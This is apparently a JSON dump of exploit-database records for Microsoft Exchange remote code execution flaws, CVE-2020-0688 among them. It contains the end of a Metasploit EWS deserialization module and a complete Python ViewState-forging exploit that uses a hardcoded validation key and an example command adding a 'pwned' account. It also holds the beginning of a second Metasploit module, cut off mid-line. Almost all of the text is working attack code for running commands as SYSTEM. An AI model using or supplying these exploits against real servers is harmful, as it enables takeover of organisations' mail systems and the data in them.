)\n\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n\n if res.code == 200 && res.body =~ /name=\"microsoft.exchange.ediscovery.exporttool\" version=\"\\d+\\.\\d+\\.\\d+\\.\\d+\"/\n build = res.body.match(/name=\"microsoft.exchange.ediscovery.exporttool\" version=\"(\\d+\\.\\d+\\.\\d+\\.\\d+)\"/)[1]\n if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n else\n return CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\")\n end\n end\n\n # Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx\n # to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200\n # OK response, we found the target version number, otherwise we didn't find it.\n #\n # Props go to @jmartin-r7 for improving my original code for this and suggestion the use of\n # canonical_segments to make this close to the Rex::Version code format. Also for noticing that\n # version_range is a Rex::Version object already and cleaning up some of my original code to simplify\n # things on this premise.\n\n vuln_builds.each do |version_range|\n return CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2]\n\n prepend_range = version_range[0].canonical_segments[0..-2]\n lowest_patch = version_range[0].canonical_segments.last\n while Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1]\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, \"/ecp/#{build}/exporttool/\")\n )\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n if res && res.code == 200\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n end\n\n lowest_patch += 1\n end\n\n CheckCode::Unknown('Could not determine the build number of the target Exchange Server.')\n end\n end\n\n def exploit\n case target['Type']\n when :win_cmd\n execute_command(payload.encoded)\n when :win_dropper\n execute_cmdstager\n when :psh_stager\n execute_command(cmd_psh_payload(\n payload.encoded,\n payload.arch.first,\n remove_comspec: true\n ))\n end\n end\n\n def execute_command(cmd, _opts = {})\n # Get the user's inbox folder's ID and change key ID.\n print_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\")\n xml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"inbox\" />\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_getfolder_inbox,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n xml_getfolder = res.get_xml_document\n xml_getfolder.remove_namespaces!\n xml_tag = xml_getfolder.xpath('//FolderId')\n if xml_tag.empty?\n fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')\n end\n unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')\n fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')\n end\n change_key_val = xml_tag.attribute('ChangeKey').value\n folder_id_val = xml_tag.attribute('Id').value\n print_good(\"ChangeKey value for Inbox folder is #{change_key_val}\")\n print_good(\"ID value for Inbox folder is #{folder_id_val}\")\n\n # Delete the user configuration object that currently on the Inbox folder.\n print_status('Deleting the user configuration object associated with Inbox folder...')\n xml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:DeleteUserConfiguration>\n <m:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </m:UserConfigurationName>\n </m:DeleteUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_delete_inbox_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}\n print_good('Successfully deleted the user configuration object associated with the Inbox folder!')\n else\n print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')\n print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')\n end\n\n # Now to replace the deleted user configuration object with our own user configuration object.\n print_status('Creating the malicious user configuration object on the Inbox folder!')\n\n gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter))\n xml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:CreateUserConfiguration>\n <m:UserConfiguration>\n <t:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </t:UserConfigurationName>\n <t:Dictionary>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgChkTm</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Integer64</t:Type>\n <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgDO</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Boolean</t:Type>\n <t:Value>false</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n </t:Dictionary>\n <t:BinaryData>#{gadget_chain}</t:BinaryData>\n </m:UserConfiguration>\n </m:CreateUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_malicious_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}\n fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')\n end\n\n print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')\n\n # Deserialize our object. If all goes well, you should now have SYSTEM :)\n print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')\n xml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetClientAccessToken>\n <m:TokenRequests>\n <t:TokenRequest>\n <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>\n <t:TokenType>CallerIdentity</t:TokenType>\n </t:TokenRequest>\n </m:TokenRequests>\n </m:GetClientAccessToken>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_get_client_access_token,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n unless res.body =~ %r{<e:Message xmlns:e=\"http://schemas.microsoft.com/exchange/services/2006/errors\">An internal server error occurred. The operation failed.</e:Message>}\n fail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!')\n end\n end\nend\n", "sourceHref": "https://0day.today/exploit/37423", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-06-05T18:30:13", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-02T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-02T00:00:00", "id": "1337DAY-ID-34037", "href": "https://0day.today/exploit/description/34037", "sourceData": "# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution\n# Exploit Author: Photubias\n# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688\n# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys\n# Vendor Homepage: https://www.microsoft.com\n# Version: MS Exchange Server 2010 SP3 up to 2019 CU4\n# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019\n# CVE: CVE-2020-0688\n\n#! /usr/bin/env python\n# -*- coding: utf-8 -*- \n''' \n\n \n\tCopyright 2020 Photubias(c)\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n \n File name CVE-2020-0688-Photubias.py\n written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be\n\n This is a native implementation without requirements, written in Python 2.\n Works equally well on Windows as Linux (as MacOS, probably ;-)\n Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net\n\n Example Output:\n CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c \"net user pwned pwned /add\"\n [+] Login worked\n [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570\n [+] Detected OWA version number 15.2.221.12\n [+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!\n [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:\n [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==\n Sending now ...\n'''\nimport urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass\n\n## STATIC STRINGS\n# This string acts as a template for the serialization (contains \"###payload###\" to be replaced and TWO size locations)\nstrSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')\n# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)\nstrSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')\n\ndef convertInt(iInput, length): \n return struct.pack(\"<I\" , int(iInput)).encode('hex')[:length]\n\ndef getYsoserialPayload(sCommand, sSessionId):\n ## PART1 of the payload to hash\n strPart1 = strSerTemplate.replace('###payload###', sCommand)\n ## Fix the length fields\n #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))\n #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))\n strLength1 = convertInt(0x06b8 + len(sCommand),4)\n strLength2 = convertInt(0x04da + len(sCommand),4)\n strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]\n strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]\n \n ## PART2 of the payload to hash\n strPart2 = '274e7bb9'\n for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'\n strPart2 = binascii.unhexlify(strPart2)\n \n strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()\n strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))\n return strResult\n\ndef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):\n if not sTarget[-1:] == '/': sTarget += '/'\n ## Verify Login\n lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}\n try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()\n except: print('[!] Error, ' + sTarget + ' not reachable')\n bLoggedIn = False\n for cookie in oCookjar:\n if cookie.name == 'cadata': bLoggedIn = True\n if not bLoggedIn:\n print('[-] Login Wrong, too bad')\n exit(1)\n print('[+] Login worked')\n\n ## Verify Session ID\n sSessionId = ''\n sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()\n for cookie in oCookjar:\n if 'SessionId' in cookie.name: sSessionId = cookie.value\n print('[+] Got ASP.NET Session ID: ' + sSessionId)\n\n ## Verify OWA Version\n sVersion = ''\n try: sVersion = sResult.split('stylesheet')[0].split('href=\"')[1].split('/')[2]\n except: sVersion = 'favicon'\n if 'favicon' in sVersion:\n print('[*] Problem, this user has never logged in before (wizard detected)')\n print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')\n exit(1)\n print('[+] Detected OWA version number '+sVersion)\n\n ## Verify ViewStateValue\n sViewState = ''\n try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value=\"')[1].split('\"')[0]\n except: pass\n if sViewState == 'B97B4E27':\n print('[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!')\n else:\n print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)\n ans = raw_input('[?] Still want to try the exploit? [y/N]: ')\n if ans == '' or ans.lower() == 'n': exit(1)\n return sSessionId, sTarget, sViewState\n \ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')\n parser.add_argument('-u', '--username', help='Username (e.g. joe or [email\u00a0protected])', default='')\n parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')\n parser.add_argument('-c', '--command', help='Command to put behind \"cmd /c \" (e.g. net user pwned pwned /add)', default='')\n args = parser.parse_args()\n if args.target == '' or args.username == '' or args.command == '':\n print('[!] Example usage: ')\n print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c \"net user pwned pwned /add\"')\n else:\n if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')\n else: sPassword = args.password\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n oCookjar = cookielib.CookieJar()\n #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})\n #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)\n oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))\n sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)\n ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')\n if ans.lower() == 'n': exit(0)\n sPayLoad = getYsoserialPayload(args.command, sSessionId)\n print('[+] Got Payload: ' + sPayLoad)\n sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)\n print(' Sending now ...')\n try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))\n except urllib2.HTTPError, e:\n if e.code == '500': print('[+] This probably worked (Error Code 500 received)')\n\nif __name__ == \"__main__\":\n\tmain()\n", "sourceHref": "https://0day.today/exploit/34037", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-05T03:14:28", "description": "This Metasploit module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\\SYSTEM using .NET deserialization.", "cvss3": {}, "published": "2020-03-05T00:00:00", "type": "zdt", "title": "Exchange Control Panel Viewstate Deserialization Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-05T00:00:00", "id": "1337DAY-ID-34051", "href": "https://0day.today/exploit/description/34051", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'bindata'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n # include Msf::Auxiliary::Report\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::CmdStager\r\n\r\n DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'\r\n VALIDATION_KEY = \"\\xcb\\x27\\x21\\xab\\xda\\xf8\\xe9\\xdc\\x51\\x6d\\x62\\x1d\\x8b\\x8b\\xf1\\x3a\\x2c\\x9e\\x86\\x89\\xa2\\x53\\x03\\xbf\"\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Exchange Control Panel Viewstate Deserialization',\r\n 'Description' => %q{\r\n This module exploits a .NET serialization vulnerability in the\r\n Exchange Control Panel (ECP) web page. The vulnerability is due to\r\n Microsoft Exchange Server not randomizing the keys on a\r\n per-installation basis resulting in them using the same validationKey\r\n and decryptionKey values. With knowledge of these, values an attacker\r\n can craft a special viewstate to cause an OS command to be executed\r\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.\r\n },\r\n 'Author' => 'Spencer McIntyre',\r\n 'License' => MSF_LICENSE,\r\n 'References' => [\r\n ['CVE', '2020-0688'],\r\n ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],\r\n ],\r\n 'Platform' => 'win',\r\n 'Targets' =>\r\n [\r\n [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],\r\n [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],\r\n [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]\r\n ],\r\n 'DefaultOptions' =>\r\n {\r\n 'SSL' => true\r\n },\r\n 'DefaultTarget' => 1,\r\n 'DisclosureDate' => '2020-02-11',\r\n 'Notes' =>\r\n {\r\n 'Stability' => [ CRASH_SAFE, ],\r\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\r\n 'Reliability' => [ REPEATABLE_SESSION, ],\r\n }\r\n ))\r\n\r\n register_options([\r\n Opt::RPORT(443),\r\n OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),\r\n OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),\r\n OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])\r\n ])\r\n\r\n register_advanced_options([\r\n OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),\r\n ])\r\n end\r\n\r\n def check\r\n state = get_request_setup\r\n viewstate = state[:viewstate]\r\n return CheckCode::Unknown if viewstate.nil?\r\n\r\n viewstate = Rex::Text.decode_base64(viewstate)\r\n body = viewstate[0...-20]\r\n signature = viewstate[-20..-1]\r\n\r\n unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature\r\n return CheckCode::Safe\r\n end\r\n\r\n # we've validated the signature matches based on the data we have and thus\r\n # proven that we are capable of signing a viewstate ourselves\r\n CheckCode::Vulnerable\r\n end\r\n\r\n def generate_viewstate(generator, session_id, cmd)\r\n viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)\r\n signature = generate_viewstate_signature(generator, session_id, viewstate)\r\n Rex::Text.encode_base64(viewstate + signature)\r\n end\r\n\r\n def generate_viewstate_signature(generator, session_id, viewstate)\r\n mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')\r\n mac_key_bytes << Rex::Text.to_unicode(session_id)\r\n OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)\r\n end\r\n\r\n def exploit\r\n state = get_request_setup\r\n\r\n # the major limit is the max length of a GET request, the command will be\r\n # XML escaped and then base64 encoded which both increase the size\r\n if target.arch.first == ARCH_CMD\r\n execute_command(payload.encoded, opts={state: state})\r\n else\r\n cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first\r\n execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})\r\n end\r\n end\r\n\r\n def execute_command(cmd, opts)\r\n state = opts[:state]\r\n viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)\r\n 5.times do |iteration|\r\n # this request *must* be a GET request, can't use POST to use a larger viewstate\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\r\n 'cookie' => state[:cookies].join(''),\r\n 'agent' => state[:user_agent],\r\n 'vars_get' => {\r\n '__VIEWSTATE' => viewstate,\r\n '__VIEWSTATEGENERATOR' => state[:viewstate_generator]\r\n }\r\n })\r\n break\r\n rescue Rex::ConnectionError, Errno::ECONNRESET => e\r\n vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')\r\n sleep iteration\r\n end\r\n end\r\n\r\n def get_request_setup\r\n # need to use a newer default user-agent than what Metasploit currently provides\r\n # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string\r\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),\r\n 'method' => 'POST',\r\n 'agent' => user_agent,\r\n 'vars_post' => {\r\n 'password' => datastore['PASSWORD'],\r\n 'flags' => '4',\r\n 'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),\r\n 'username' => datastore['USERNAME']\r\n }\r\n })\r\n fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?\r\n cookies = 